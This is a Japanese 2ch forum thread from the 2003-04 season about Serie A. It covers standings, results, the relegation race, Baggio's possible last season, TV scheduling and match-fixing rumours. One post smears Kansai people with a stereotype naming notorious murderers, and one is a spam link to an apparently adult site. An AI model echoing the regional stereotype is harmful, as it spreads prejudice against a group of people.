Serie Aを観るぞ！No.24(セリエA総合スレ)

F.I.G.C. Federazione Italiana Giuoco Calcio　http://www.figc.it/
uefa.com　　　　　　　　　　　　　　　　　　　　　　http://jp.uefa.com/index.html
Gazzetta dello Sport　　　　　　　　　　　　　　　http://www.gazzetta.it/
LiveScore.com　　　　　　　　　　　　　　　　　　　http://www.livescore.com/default.dll
Calciomercato　　　　　　　　　　　　　　　　　　　http://www.calciomercato.com/
BRAVO!SERIE A　　　　　　　　　　　　　　　　　http://www.plala.or.jp/hobby/bravo/
SKY PerfecTV!セリエA放送スケジュール　　http://www.skyperfectv.co.jp/sport/schedule/serie/new.html

試合の実況はサッカー実況板【海外サッカー】でおながいします
http://livesoccer.net/cgi-bin/12ch/Live2/index2.html

過去スレ
＝＝＝SerieＡを観るぞ！＝＝＝
http://cocoa.2ch.net/soccer/kako/968/968395753.html
〜〜〜SerieＡを観るぞ！〜〜〜その２
http://cocoa.2ch.net/soccer/kako/972/972001735.html
〜SerieＡを観るぞ！〜その３
http://cocoa.2ch.net/soccer/kako/973/973769119.html
☆ＳｅｒｉｅＡを観るぞ！Ｎｏ．４★
http://cocoa.2ch.net/soccer/kako/974/974887537.html
☆ＳｅｒｉｅＡを観るぞ！Ｎｏ．５★
http://cocoa.2ch.net/soccer/kako/976/976016463.html
☆ＳｅｒｉｅＡを観るぞ！Ｎｏ．６★
http://cocoa.2ch.net/soccer/kako/977/977255575.html
●○　ＳｅｒｉｅＡを観るぞ！七代目○●
http://cocoa.2ch.net/soccer/kako/978/978030426.html
●○　ＳｅｒｉｅＡを観るぞ！８番　○●
http://cocoa.2ch.net/soccer/kako/979/979111823.html
●●　Serie　Aを見るぞ！9番　●●
http://cocoa.2ch.net/soccer/kako/980/980173436.html

●　SerieA　を見るぞ！　10番　●
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◆　Serie　Aを観るぞ！　◆　11 Giornata
http://cocoa.2ch.net/soccer/kako/981/981061025.html
◇　SerieAを観るぞ！　◇　第１２節
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●●　セリエAを見るぞ！13節　●●
http://cocoa.2ch.net/soccer/kako/982/982527330.html
◎○　セリエAを見るぞ！14番　○◎
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◎○　セリエAを見るぞ！15番　○◎
http://cocoa.2ch.net/soccer/kako/983/983949370.html
◎○　セリエAを見るぞ！16番　○◎
http://cocoa.2ch.net/soccer/kako/984/984931656.html
◎○　セリエAを見るぞ！17番　○◎
http://cocoa.2ch.net/soccer/kako/985/985982052.html
◎○　セリエAを見るぞ！18番　○◎
http://ton.2ch.net/football/kako/987/987529030.html

☆★ＳＥＲＩＥ Ａ を見るぞ！Ｎｏ．１９★☆
http://ton.2ch.net/football/kako/990/990078997.html
■■■ セリエAを見るぞ！No.20　■■■
http://sports.2ch.net/football/kako/998/998147352.html
■■■ 02-03セリエAを見るぞ！No.1　■■■
http://sports3.2ch.net/football/kako/1025/10257/1025725878.html
*****セリエＡ統一スレ*****(*´д`*)ハァハァ
http://sports4.2ch.net/test/read.cgi/football/1036457306/l50
Serie Aを観るぞ！No.23(セリエA総合スレ)
http://sports4.2ch.net/test/read.cgi/football/1065375033/

イタリア　ITALY
首都 / ローマ
面積 / 約30万1302平方キロメートル
人口 / 約5800万人
公用語 イタリア語
時差 / 8時間（サマータイムは三月の最終日曜から10月の最終土曜までで、この時の時差は7時間）

よくある質問など
・ユベントス、インテル、ミランのユニにある金色の星ラ・ステッラ（星）と呼ばれ
　スクデット10回で一個つけられます。
・今シーズンで言えばユベントスのユニについているイタリア国旗みたいな盾（スクデット）
　は去年のリーグチャンピオンのみつけられるものです。
・ミランのユニについている的みたいな丸はコッパイタリアチャンピオンのみつけられるものです。
・ミランとインテルの本拠地名はジュゼッペ・メアッツァスタジアムが正式。
1926年に竣工当時の正式名称は近くにある小さな教会の名にちなんだ「サン・シーロ」だった。
1980年に名選手ジュゼッペ・メアッツアの名を正式名称に変更。
最後の方はミランにもちょこっと居たがインテル時代に活躍したイメージが強く、
ミラニスタは「サン・シーロ」インテリスタは「ジュゼッペ・メアッツア」と主に呼ぶ。
・ユベントスVSインテル・・・イタリアダービー
　ずーっとセリエAにいつづけるのはこの2チームのみ
・ユベントスVSミラン　・・・ナショナルダービー

◆◇◆ 90年代 セリエAを語ろう ◆◇◆
http://sports4.2ch.net/test/read.cgi/football/1075362438/
セリエＢについて語ろう！！
http://sports4.2ch.net/test/read.cgi/football/1047656657/

■□■□╋ AC MILAN パート47 ☆◎
http://sports4.2ch.net/test/read.cgi/football/1079426584/
★ ☆ ★ A.S.ROMA part21 ★ ☆ ★
http://sports4.2ch.net/test/read.cgi/football/1076867667/
□■□■JUVENTUS_27_□■□■☆☆
http://sports4.2ch.net/test/read.cgi/football/1079001900/
◇SS.Lazio-Bianco Celeste〜ラツィオスレ20〜
http://sports4.2ch.net/test/read.cgi/football/1074395015/
+++★inter 64 +++
http://sports4.2ch.net/test/read.cgi/football/1078765836/

◎◎　A.C. PARMA 29　◎◎
http://sports4.2ch.net/test/read.cgi/football/1073918025/
【狙うは】Happy　Lucky　Samp2【UEFA圏内】
http://sports4.2ch.net/test/read.cgi/football/1056565955/
■□UDINESE_03_□■☆☆
http://sports4.2ch.net/test/read.cgi/football/1047759319/
bolognaスレ2.5：欧州 or DIE・・・ボローニャF.C.2
http://sports4.2ch.net/test/read.cgi/football/1074734934/
●●BRESCIAスレッド　３●●
http://sports4.2ch.net/test/read.cgi/football/1046607527/
■◇◆□ A.C.Perugia 8 □◆◇■
http://sports4.2ch.net/test/read.cgi/football/1046992172/
【目指せ初勝利】 アンコーナ 【ハルウララ】
http://sports4.2ch.net/test/read.cgi/football/1076165216/

☆〜Atalanta B.C〜1907 part2〜
http://sports4.2ch.net/test/read.cgi/football/1047030640/
Ж フィオレンティーナ　Viola　Part5 Ж
http://sports4.2ch.net/test/read.cgi/football/1068537409/

モデナ、マレサーニ監督を解任
http://jp.uefa.com/footballcentral/news/Kind=2/newsId=156512.html

>>7
シエナを応援するマニアの為のスレ
http://sports4.2ch.net/test/read.cgi/football/1079792235/l50
★レッジーナ6★
http://sports4.2ch.net/test/read.cgi/football/1062200453/l50

乙ベルと象！

シエナのスレが出来てたのか。

キエーヴォ、エンポリ、モデナ、レッチェのスレは無いのね
キエーヴォスレは盛り上がってたような気がしたが

ここの人たちはSERIE　Aはなんと読んでいますか？

せりえ　えー？
せりえ　あー？

自分はせりえ　えーです。
WOWOWの時代から見ていた人はせりえ　えーですよね。

SERIEが伊読みなので、Aも伊読みするべき

じゃあSERIE　BはCは？
A.C.　MILANは？A.S.　ROMAは？

イタリアではMILANか長いつづりの正式名。A.C.とは略さない。
ローマも同じ、A.S.なんかつけて話している人をしらないよ。

ロッソネロとかジアロロッソとかユニホームで言っちゃったりするし。B,Cはビ、チでいいな。

マジレスするとACミランは英国人が作ったからエーシーミラン。
伊語ならミラノだろ？

モーデナは終戦かな…
ベッロット新監督はＡ初采配の上に、最近はこれと言った実績もない。
ここ10シーズンほどで、Ａ初采配で残留成功の監督はいるが
Ａ初采配が途中就任という状況では
93-94アタランタ：グイドリン→プランデッリ　降格
95-96トリノ:ソネッティ→スコーリオ→ヴィエリ　降格
96-97ナポリ:シモーニ→モンテフスコ　残留
96-97レッジャーナ：ルチェスク→オッド　降格
98-99ヴィチェンツァ：コロンバ→レイア　降格
99-00ピアチェンツァ：シモーニ→ペルナッツァーニ　降格
00-01インテル：リッピ→タルデッリ　残留
00-01フィオレンティーナ：テリム→マンチーニ　残留
03-04アタランタ:ヴァヴァッソーリ→フィナルディ　降格
03-04トリノ：ウリヴィエリ→ザッカレッリ　降格

残留のうち、96-97ナポリと00-01フィオは成績不振より
監督と会長の確執のほうが解任理由として大きい
（ともに解任時降格の危機は間近というわけではなかった）
00-01インテルはまぁ降格するようなチームではないし
解任は開幕戦のあと。
今回のような、シーズン半ばを過ぎて、尻に火がついた状態で
Ａ初采配の監督を起用したケースは漏れなくＢ行き。

ペルージャに稲本補強のニュースが流れてるわけですが、
ペルージャは慢性的なボランチ不足、前々からボランチはいないんですか？

コズミ就任1年目のテデスコ、バイオッコ、リヴェラーニのトライアングル以来、
ペルージャは優秀なCMFを毎年輩出してると思うが。
上の3人の他にも、ブラジ、ガッティ、オボドと若手の育成に成功してるし、
ガッティとオボドはまだまだ健在。ついでにローンだがコドレアもいたりする。

コドレアは多分（高くて）返却するだろうけど、
同じくらいの値札をぶらさげた稲本って正直考えづらい。
子ガウチはつばつけてる選手は腐るほどいて、その中の1人ってだけでしょ。

ていうか、確かに今期のペルージャはﾎﾞﾛ雑巾のように前半戦を終えたけど、
＞ペルージャは慢性的なボランチ不足
これはいくらなんでも事実誤認だよ（ ´・ω・`）

ベルルスコーニがサッカー救済法案を却下「解決策はない」＝セリエＡ

http://sportsnavi.yahoo.co.jp/soccer/eusoccer/headlines/20040326-00000009-spnavi-spo.html

気が付いてみたら残留争いがヒートアップしてきたな。
最終的な残留ラインが例年より低くなりそうだけど、
日程的にどこが一番ツライだろ？

９　キエーヴォ　32
10　ボローニャ　31
11　ブレシア　　28
12　レッチェ　　27
12　シエナ　　　27
12　レッジーナ　27
15　モデナ　　　25
16　エンポリ　　23
17　ペルージャ　22
以下略

キエーヴォあたりまで巻き込んでドロドロしてくると面白いんだが、
こうやって見ると、ブレシアあたりまでが残留争いの対象か。

以下略ﾜﾛﾀ

モデナ　15位　勝点25
　vsユヴェントス(A)
　vsミラン(H)
　vsブレシア(A)
　vsローマ(H)
　vsサンプドリア(H)
　vsキエーボ(A)
　vsシエナ(H)
　vsラツィオ(A)

エンポリ　16位　勝点23
　vsパルマ(A)
　vsペルージャ(H)
　vsミラン(A)
　vsブレシア(H)
　vsローマ(A)
　vsボローニャ(H)
　vsアンコーナ(A)
　vsインテル(H)

ペルージャ　17位　勝点22
　vsラツィオ(H)
　vsエンポリ(A)
　vsインテル(H)
　vsサンプドリア(A)
　vsブレシア(A)
　vsユヴェントス(H)
　vsローマ(A)
　vsアンコーナ(H)

正直、モデナはつらそう。この時期の監督交代がどう響くか。
調子があがらない上にモチベーションも失いぎみのユーヴェ相手に奇跡を起こせるか。

エンポリは、順位的にも精神的にもペルージャとの一戦に負けると痛い。
ペルージャに勝点3を謙譲すればそのまま勢いに乗って突き放される可能性大。

初勝利から3勝2分と意気あがるペルージャは今後3試合の戦いぶりでその後が見えそう。
エンポリとの直接対決をはさんでラツィオとインテルをクーリに迎え撃つ。

こうして調べてみると、
これから3試合消化した後の勝点状況がどうなってるか興味深い。
そろそろｽｶﾊﾟも残留争い枠を作るはずだけど、
とりあえずペルージャvsエンポリ見たいな。

残り2節の段階でアンコーナがからんでくるけど、これはどうでるだろう。
シエナvsモデナも、ひょっとしたら重要な一戦になってるかもしれない。

すまん、エンポリとペルージャの直接対決はエンポリホームぢゃねぇか。
エンポリがペルージャを迎え撃つということで。

Brescia-Ancona 5-2
Juventus-Modena 3-1
Milan-Chievo 2-2
Parma-Empoli 4-0
Perugia-Lazio 1-2

Reggina-Inter 0-2

Roma-Bologna 1-2
Sampdoria-Lecce 2-2
Siena-Udinese 1-0
あれ、ローマ？

.: Classifica 2003/2004

68 Milan
59 Juventus
57 Roma *
44 Lazio *
44 Parma
43 Inter
39 Udinese
38 Sampdoria
34 Bologna
33 Chievo
31 Brescia
30 Siena
28 Lecce
27 Reggina
25 Modena
23 Empoli
22 Perugia
7 Ancona

* 1 partita in meno

.: Classifica marcatori 2003/2004

20 A. Shevchenko Milan
15 F. Totti Roma
14 E. Chevanton Lecce
14 A. Gilardino Parma
14 D. Trezeguet Juventus
12 A. Caracciolo Brescia
12 A. Cassano Roma
12 C. Vieri Inter
11 L. Adriano Inter (8 Parma)
11 F. Bazzani Sampdoria

.: LA GIORNATA 2003/2004 - 28^ Giornata

Ancona-Sampdoria - 04-04-04 15:00 Del Conero
Bologna-Reggina - 04-04-04 15:00 Renato Dall'Ara
Chievo-Parma - 04-04-04 15:00 Marc'Antonio Bentegodi
Empoli-Perugia - 04-04-04 15:00 Carlo Castellani
Lazio-Siena - 04-04-04 15:00 Olimpico
Lecce-Roma - 04-04-04 15:00 Via Del Mare
Modena-Milan - 04-04-04 15:00 Alberto Braglia
Udinese-Brescia - 04-04-04 15:00 Friuli
Inter-Juventus - 04-04-04 20:30 Giuseppe Meazza

不透明な未来を持つイタリアサッカーの現実
http://sportsnavi.yahoo.co.jp/soccer/eusoccer/italy/column/200403/at00000070.html

正直セリエは死んだな
プレミアとかリーガの方が面白いし

◎　アンコナ　　　鉄
○　モデナ　　　　キツイね。
○　エンポリ　　　ディナターレしっかりしろ
▲　ペルージャ　 PO枠は超えられなさそう。
△　レッチェ　　　まあ大丈夫だろう。
×　ブレシア　　　バッジョが怪我しなければ余裕。

ペルージャ-ラツィオ戦見たけど、むしろペルージャの方がいいサッカーしてなかったか？
2年くらい前のブレシアみたいにあれよあれよと降格圏から抜けたりして。
ブレシアといえばバッジョだが、毎年この時期からゴールラッシュする印象強し。
もう一年やってくんないかな・・・

ペルージャはラバネッリ加入が大きいね

アンチェロッティはユベントス時代も、2位と9ポイント差つけて、ラツィオに逆転スクデット獲られたことあるからな。
まだわからんよ。

先週もそうでしたが　今週もバッジオのいるブレシア戦の放送が
スカパーでないようです。今期が最後と噂されているのでできるだけ
ロビーの姿を見たいのですが　なぜでしょうか？　ご存知の方
教えて下さい。よろしくお願いします。

そんなことスカパーに直接聞けや

>>38
惜しまれてるうちに引退するのが花だよ。
引き際を間違えて見る影も無い程衰えたバッジョなんて俺は見たくない。
彼には一流であるうちに引退して欲しい。

でももっとプレーして欲しいのも確かなんだよなあ…正直複雑だ。

・・・・「や」って言葉　方言ですか？？？？？？？？？？？？？
分かる人に聞いているのですが

バッジオ目当てならハイライトで十分だろ

>>44方言です「聞けよ」→「聞けや」と使う関西や九州で使われます

ユーべウザイ。
変な圧力かけないでね。

>>43
初めてマスコミにそう言われて１０年近く経つけど、今度こそ引退だね。
PK除いたゴール数が全盛期とほとんど変わってないので、個人的には衰えの心配は全くないと思っているが。

>>45
ベンチにいる日本人を実況されるより、バッジョのゴールを実況つきで味わいたいんです。

ブレシアの試合はバッジョがラストシーズンかもしれない、200ゴール間近ってことで
今シーズンかなり優遇されてるんだから1、2試合放送ないぐらいでガタガタ言うな。

むしろ残留争いしているクラブの試合の方がこの時期見たい。

>>44
テレビで関西芸人すら見かけないような環境にいるのか？
その程度の質問するならsageるってことも知らないようだし。

>>50 関西人の印象
　　歌手　会話は関西弁なのに歌は標準語で歌う。銭儲けが大好き。
　　上田みたく　関西弁で歌えよ。関西弁で唄うの恥ずかしいの？
　　虐待が多く育ちが悪い。サキキバラと宅間が代表関西人。
　　質問に答えないのにすぐ怒る。

電話でブレシア戦をやらない理由を聞いたが　
案の定「わかりません」だった。
（これが分かっているので　このスレで聞いた）
９試合のうち日本人所属を最優先するのはいいとしても
ラツィオVSシエナよりは　ブレシアVSウディの方が
需要あると思うが。FA杯準決勝はF1とかぶるし頭痛い。

俺はラツィオシエナのほうが見たい

まあバッジョを見たいという人がそれほどいないということだろう
君が頑張れば放送増えるかもよ

3シーズン前にヒロミスタがレッジーナ戦放映を強く望んで行動起こしてたが、
結局放送枠には反映されてなかったような。
つかなつかしいよな、
「奇跡を起こせレッジーナ」

>>51
自分は東京生まれの東京育ちですが、何か？

ミランの最終節の対戦相手がブレシアなのがちょい鬱。
スクデット争いがもつれたら嫌だなー。

なんで今節は全部土曜開催なの？
ミッドウィークにCLやUCがあったのになぜ？？？

>>58
復活祭（イースター）

アンコナ勝利記念パピコ

　　　　　　　　　　　　　　　　　アンコナｷﾀ━━━(ﾟ∀ﾟ)━━━ !!!!!




　　　　　　　　　　　　　　　　　　ﾜｯｼｮｲヽ(ﾟ∀ﾟ)メ(ﾟ∀ﾟ)メ(ﾟ∀ﾟ)ノﾜｯｼｮｲ

今節は八百長祭ですな

アンコーナの残留が見えてきたな

ここはスクデット＝買収のリーグですかね？

スペインもイングランドも一緒だろ

ﾌﾟﾚﾐｱは婦女暴行沙汰が多い

野球は世界的にはあまりにもマイナーなスポーツだと言うことは日本人も
知っているが、アメリカでも野球は３番人気に過ぎない。

アメリカ大手世論調査ハリス社の★好きなスポーツ調査★。（２００３年）

プロ、大学または女子プロの総合ランキングだと、

�@　３８％　アメフト　←断トツ（バスケの２倍強、野球の３倍弱）
�A　１７％　バスケ　←大学加えると明らかに２位
�B　１３％　野球　←大学の人気ゼロ、プロだけ。

http://sports5.2ch.net/test/read.cgi/kyozin/1080810793/l50


レギュラーシーズンの視聴率ランキング（Nielsen社　２００２年）
�@　１０．３％　NFL（アメフト）
�A　　５．７％　ナスカー
�B　　２．９％　NBA（バスケ）
�C　　２．５％　MLB（野球）
その他参考ソース
http://www.nhk.or.jp/bunken/nl-file/n01101-s.html
http://www.nfljapan.co.jp/nfl/pop.html

全国放映権料（１９９９年）
�@　２２億ドル　　NFL（アメフト）
�A　　６億ドル強　NBA（バスケ）
�B　　３億ドル強　MLB（野球）
�C　　１億ドル強　NHL（ホッケー）

Ancona-Bologna 3-2

Brescia-Modena 0-0

Milan-Empoli 1-0

Parma-Lecce 3-1

Reggina-Udinese 0-1

Roma-Chievo 3-1

Siena-Sampdoria 0-0

Juventus-Lazio 1-0

Perugia-Inter 2-3

ｱﾝｺﾅ初勝利ｵﾒ━━━━(Дﾟ(○=(ﾟ∀ﾟ)=○)Дﾟ)━━━━━!!

ガウっち相変わらずですね
http://sportsnavi.yahoo.co.jp/soccer/eusoccer/headlines/20040412-00000009-spnavi-spo.html

ガウッチ、帽子を地面に叩きつけて”訴えてやる！！”

>>69で、これは八百長っぽいの？

見たひといる？

アンコナ対ボローニャは面白かったね。
中田さんもゴール決めたし。

ペルージャ対インテルも面白かったよ

失礼いたします。

4月25日に行われる予定のローマ対エンポリ(ローマホーム)は
何処のスタジアムで行われるかご存知の方がいらっしゃいましたら
お教え願えるとうれしいです。
オリンピコはどうも使えないらしいです。
どうぞよろしく願いいたします。

>>71
八百長だったらガウチが騒ぐ理由はないだろ。
そうじゃないからぶちきれてるわけで。

確かにペルージャ戦のジャッジはおかしいけどね、今回に限らず。

jm

2004-2005のスケジュールはまだ出ていない？
夏頃出張でイタリア行くもんだから、セリエＢでもいいから
スタジアムに行ってみたい。

8月終わりから9月頭の滞在なんでﾋﾞﾐｮｰっぽい。
見られるならスケジュールを若干変更して足を運びたいよ。

イタリアは審判買収だけどね

>77
垣内さんのＨＰだったかどこかわすれたけどセリエの０４−０５シーズンの開幕日だけははすでに
八月の第四週に決定したとみた記憶があるから２８日かな・・・たぶん
イタリアだからまた平気でおくれるかもしれないけど（笑）

>79
ありがとうございます。
垣内さんのサイト!?　見てませんでした……というか知らなかった。
今から探して行ってきます。
テンプレのサイトとセリエＡのオフィシャルサイトは見たんだけど
なにもも触れられておらず。　　orz

イタリアだから平気で遅れるというのは……そうなんだよなぁ、
ほんと、困る。
でも、可能性が0じゃないとわかっただけでも。

インテルも来日は７月下旬だし、CLの予備予選やインタートトの絡みもあって
８月下旬にリーグ開幕というのは順当かな、チーム数も増えるし

そうだ。チーム増えるんだよな。

「死にざまを見せてやる」伊外相、人質の最期を詳述
フランス公共ラジオによると、イタリアのフラティニ外相は１５日、イラクで「カタイバ・ムジャヒ
ディン（戦士大隊）」と名乗るグループに拉致、殺害されたファブリッツィオ・クアトロキさんの
最期の様子を明らかにした。
外相によると、クアトロキさんは短銃を突きつけられると、頭にかぶせられた袋を外そうとし
「イタリア人の死にざまを見せてやる」と叫んだという。
ttp://www.sankei.co.jp/news/040415/kok096.htm

セリエＡってなんであんなにすぎファールとるかな、もっと流せば面白くなるし
スピード感も出ると思うんだけどな。去年は奇跡的にヨーロッパのカップ戦で好成績
残したけど今年はもう０だもんな。いまやセリエはブンデスリーガと互角くらいか。　

ブンデス見てないので知らんが、今年はカップ戦、イタリア勢はボロボロでしたね。
今年リーグ戦で、そこそこ強かったと感じたのは正直ミラン、ローマくらいか？　
パルマ、ウディネ、キエボなど応援しているチームはあるけど、強いかと聞かれれば
うーーん？？って感じでしょうか？？
　インテルはザックになってからは見てて辛い。

去年より強いのはローマだけ
ミランもインテルもユーベもラツィオも去年の方が強かった。

ミランは今年の方が強くない？

唯一ましなのがミランだとは思うけどＣＬでは決勝トーナメント一会戦と
デポル戦の１レグ以外はいい試合してなかった。俺はここ５シーズンほど
セリエＡを見てるけど年を重ねるごとに内容がひどくなってる、だいたい
二分ごとにファールで試合とまるし、シュート制度もプレミアやリーガに比べて
圧倒的に低い気がする。もう今シーズンはバッジォの最後の輝きを見るのだけが
楽しみだね。

サンプの試合はまた30Xチャンネルかよ。
セリエセットだけじゃあﾀﾞﾒなのかな、やっぱし。
いや、ヘナギは別にどうでもいいんだけど。

>>89
|____∧
|━　┥
| ´)3｀） プゥ
|つ ノ

板違いだけど、NHKBSはMotoGPを生でやれ
セリエと放送時間かぶるじゃないか

Jスポーツのことを悪く言うなよ

毎年審判買収やら言われてたけどほとんど信じてなかったけど
今シーズン酷かったしょ。。。
特にユーべ、ミラン。。。
伝統と政治力とかの問題あるのもわかるけどちょっとね。
別にロマニスタじゃないけど、ちょっと可哀想だと思う。
ミランは審判の有利な判定なくても十分強いんだからもっと競った
リーグ戦みたかった（´・ω・‘）
ユーべはもう、方向転換しないと無理。戦力的にも高齢化しすぎ。
あれであの順位にいられるのも奇跡的と思える。
インテルは。。。だめぽ三兄弟なのでスルー

穿って見るからだよ・・
言い出したらキリがないし荒れるのわかってんだから
いい加減八尾話やめとけや

ビッククラブ寄りに笛を吹くってのはどこのリーグでもあること
審判の質の問題だと思うが

UEFAランキング（クラブ）2004年4月現在

１ R・マドリー(スペイン)
２ バルセロナ(スペイン)
３ バレンシア(スペイン)
４ マン･U(イングランド)
５ バイエルン(ドイツ)
６ アーセナル(イングランド)
７ デポル(スペイン)
８ ミラン(イタリア)
９ ポルト(ポルトガル)
10 リバプール(イングランド)
11 ユベントス(イタリア)
12 ラツィオ(イタリア)
13 インテル(イタリア)
14 ローマ(イタリア)
15ガラタサライ(トルコ)
16リーズ(イングランド)
17セルタ(スペイン)
18リヨン(フランス)
19ボルドー(フランス)
20パルマ(イタリア)

UEFAランキングは、各クラブ同士の成績を比較し、過去5年分のポイント合計でランキングを決定している。

>>93
今シーズンに限ってはリーガのほうが酷いと思うけどね。
バレンシアが去年のソシエダのようにじわじわ勝ち点削られてる。
セリエに関してはそういうのはなくない？
直接対決ならとにかく（いや、それも悪いんだけどさ）、
関係ない試合で不利な判定が続くのは見てて気の毒。

１ ＡＣミラン　 　　75 　23　 ６ 　１ 　59　20 　39
２ ローマ　　　　　67 　20　 ７ 　３ 　64　15　 49
３ ユベントス 　　 63.　19　 ６　 ５ 　59　36　 23
４ インテル 　　　 52.　15　 ７ 　８ 　54　33 　21
５ ラツィオ 　　　　51.　15　 ６　 ９.　48　34　 14
６ パルマ　　　　　51.　14　 ９　 ７.　49　40 　 ９

残り4試合
ミラン　７５　　　　　　　　ローマ　　６７　　　　　ユベントス　６３

ウディネーゼ（A）　　　　エンポリ（H）　　　　　　レッチェ（H）
ローマ（H）　　　　　　　　ミラン（A）　　　　　　　ペルージャ（A）
レッジーナ（A）　　　　　 ペルージャ（H）　　　　サンプドリア（H）
ブレッシャ（H）　　　　　 サンプドリア（A）　　　　シエナ（A）


インテル　５２　　　　　　ラツィオ　５１　　　　　　パルマ　５１

ラツィオ（H）　　　　　　　インテル（A）　　　　　レッジーナ（A）
レッチェ（A）　　　　　　　ブレッシャ（H）　　　　アンコナ（H)
パルマ（H）　　　　　　　 レッジーナ（A）　　　　インテル（A）
エンポリ（H）　　　　　　 モデナ（H）　　　　　　 ウディネーゼ（H）

ミランは１勝２分１敗以上で優勝決定
また３勝１分以上で88/89インテル２６勝６分２敗をこえる

どこで聞きゃいいかわからなかったのでここで。
セリエA中継のハーフタイム中、番組紹介や次節の試合予定を宣伝してる間に流れてる
BGMが誰の曲か知ってる人いる？なんか無意識に聞いてるうちに頭から離れなくなって。

>>99
『FIFA ANTHEM』＋サッカー関連音楽総合スレ4
http://sports4.2ch.net/test/read.cgi/football/1067438093/

ここに載ってるか、あるいは知ってる人がいるはず。

>>100
サンクス

葉巻は来シーズンからのベンチ禁煙に耐えられなくて辞めるのか？

この間のユーベ−レッチェ戦をレッチェ市内の飲み屋で見たよ
点が入るたびに周りのレッチェサポが暴れまくって面白かった
ビリンデッリが出てくる度に煽られてたのはなぜだろう？

11 ブレシア34 47 52
11 レッチェ34 38 53
13 シエナ31 37 49
14 モデナ30 25 39
14 レッジーナ30 25 41
16 エンポリ27 21 49
17 ペルージャ 23 39 55
18 アンコーナ 10 18 65

今日はミラン対ローマ戦♪

残り2試合時点

12 レッチェ 37
12 ブレシア 37
14 レッジーナ31
15 モデナ30
16 エンポリ30
17 ペルージャ 26
18 アンコーナ 10　　降格決定

ブレシア、レッチェ残留ｹﾃｰｲ

レッチェ2-1ウディネーゼ
レッチェ4-3ユベントス
レッチェ2-1インテル
すご

>>106
シエナ消滅・・・

いやらしい美人お姉さんがいるサイトでつ(*´д`*)ハァハァ
http://tinyurl.com/32bru

すごく美人なのにＨでつ(*´д`*)ハァハァ

age

adt

レッチェスレ誰か立ててよ。

スレ立てても名探偵かチェバン�dくらいしかネタが

>>111
もう今シーズンも終わるしオフの話題で３、４ヶ月持つとは思えないから
このスレでもレッチェのネタやったらどう？
それで伸びるようなら来季に新しいスレ立てたりとか

チェバントン最強
http://sports4.2ch.net/test/read.cgi/football/1078136033/

Ancona ? - ? Empoli
Modena ? - ? Siena
Reggina ? - ? AC Milan

いい加減、イタリアと言えばカテナチオっていうのよしなよ！


あ、いや女子バレーの話です・・・失礼しました。

>113
うほっｔｈｘ。

age

実況スレ(避難所）
http://livesoccer.s53.xrea.com/12ch/test/read.cgi/Live3/1082569182/l50

検索中のページは現在、利用できません。Web サイトに技術的な問題が発生しているか、ブラウザの設定を調整する必要があります。

Ancona 1 - 0 Empoli
AS Roma 1 - 2 Perugia
Bologna 1 - 0 Lecce
Brescia 0 - 0 Lazio
Inter Milan 0 - 0 Parma
Juventus 2 - 0 Sampdoria
Modena 0 - 1 Siena
Reggina 2 - 0 AC Milan
Udinese 1 - 1 Chievo

前半終了

ペルージャ勝てや！！！

Ancona 2 - 1 Empoli
AS Roma 1 - 3 Perugia
Bologna 1 - 1 Lecce
Brescia 2 - 1 Lazio
Inter Milan 1 - 0 Parma
Juventus 2 - 0 Sampdoria
Modena 1 - 3 Siena
Reggina 2 - 1 AC Milan
Udinese 1 - 1 Chievo


後半終了

4　インテル56
5　パルマ55
6　ラッイオ53

15 モデナ30
16 エンポリ30
17 ペルージャ 29

ラツィオだった
どうでもいいが

ペルージャ奇跡の残留も見えてきたかね

知らなかったな。
ミランが記録に挑んでいたなんてね

はあ？上位負けすぎ。やる気あんのか？

残留争いの３チームの最終節

エンポリ - インテル　（インテルは勝てばCL予備選出場決定）
ラツィオ - モデナ　（ラツィオは勝てばインテル、パルマの結果によってはCL予備選出場の可能性が残る）
ペルージャ - アンコ-ナ　（アンコ-ナは降格決定済）

ペルージャが俄然有利になってきました。

１，２，３はもう順位がほぼ固まってるからなぁ。
ミランに至ってはもう目的もなんもないだろう。
せいぜいユーロ組が怪我しないようにとか考えてるんじゃね？
試合見てないからどんなだったかは知らないけど。

もしかしたら去年のユーベみたくレッジーナを残留させるために云々とか
言われるのかな。

ないよ。ミランもアーセナルも選手はニヤニヤしながらプレーしている。

今週空気読んだアンコーナがどうなるか
ミランはアレだ

セリエAのシエナを捜査　イタリアサッカー界に八百長疑惑

　イタリアサッカー界に、またも八百長疑惑が持ち上がった。インターネットを利用し
た賭けを調べているナポリ警察のアンチマフィア担当部署が、5月11日の午前にセリエ
A所属のシエナの本部を捜査した。シエナの所属選手5人（ジェネローゾ・ロッシ、ロ
ベルト・ダベルサ、ニコラ・ベントーラ、サルバトーレ・アンブロジーノ、ビンチェン
ツォ・オノラート）がインターネット八百長関与の疑いをもたれている。

　シエナを含め捜査を受けたクラブは、セリエAのキエーボ、レッチェ、レッジーナ、
さらにセリエBとセリエCからアスコリ、カタンザーロ、クロトーネ、フェルマーナ、
ルメッザーネ、ピアチェンツァ、サッサリトッレス、タラントの計12クラブで、関与
の疑いがもたれているのはシエナの5選手のほかに銀行役員、前科者ら13人という話だ。

今さら疑惑もなにもなぁ。イタリアのサッカーは八百長アリなのは皆折込済みで、
それも魅力の一つでしょ。クリーンとか正々堂々とか言っちゃ面白くないよ。

あ！！！！！！！！

これでシエナが降格処分だったら、ペルージャが残れるかも！ｗ
これぞガウチマジックだな

対象チームが全て降格処分となったら
アンコナ残留なんてこともあるかもしれんなｗ

今季は何チーム降格？

＝コッパイタリア 決勝 ＝
2004/3/17 21.00 Lazio 2 - 0 Juventus

2004/5/12 21.00 Juventus-Lazio


ラツィオのマンチーニ監督「０−０からのスタートと思って戦う」＝コッパ・イタリア決勝
http://sportsnavi.yahoo.co.jp/soccer/eusoccer/headlines/20040512-00000005-spnavi-spo.html

セリエＡ八百長疑惑、裏付けコメント出る
ttp://www.nikkansports.com/ns/soccer/world/p-sc-tp2-040514-0011.html

アンコナの最低新記録更新はなるかな？

本スレが閑散としているので、スレ違い＆マルチですまん。
ahoo!ﾌｧﾝﾀｼﾞｰﾌｯﾄﾎﾞｰﾙをやってる人いる？ずっとリセット状態なのだが。

> スレ違い＆マルチですまん

そう思ったらＲＯＭってろタコ。

>>141　またおまえか

ペルージャがんがれ

FT AC Milan 4 - 2 Brescia
FT Chievo 3 - 1 Bologna
FT Empoli 2 - 3 Inter Milan
FT Lazio 2 - 1 Modena
FT Lecce 2 - 1 Reggina
FT Parma 4 - 3 Udinese
FT Perugia 1 - 0 Ancona
FT Sampdoria 0 - 0 AS Roma
FT Siena 1 - 3 Juventus

